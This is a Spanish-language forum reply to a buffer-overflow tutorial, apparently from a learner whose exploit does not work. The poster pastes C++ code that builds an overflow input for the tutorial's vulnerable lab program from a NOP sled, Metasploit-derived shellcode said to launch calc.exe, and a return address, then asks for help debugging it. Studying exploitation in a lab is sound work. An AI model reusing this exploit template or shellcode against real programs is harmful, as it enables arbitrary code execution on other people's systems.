Ikary te felicito por el tuto!!
y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/
Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char ret[] = "\x58\xFA\x22\x00";
char nops[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
unsigned char shellcode[] =
"\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
"\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
"\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
"\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
"\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
"\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
"\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
"\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
"\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
"\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
"\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
"\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
"\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
"\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
"\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
"\x02\x1c";
cout << "Creando exploit\n\n";
ofstream fichero;
fichero.open("archivo.txt");
fichero << nops << shellcode << ret ;
fichero.close();
cout << "ya esta!!!";
return 0;
}
El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...
PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias
PD2. 89 nops y 227 tamaño del shell code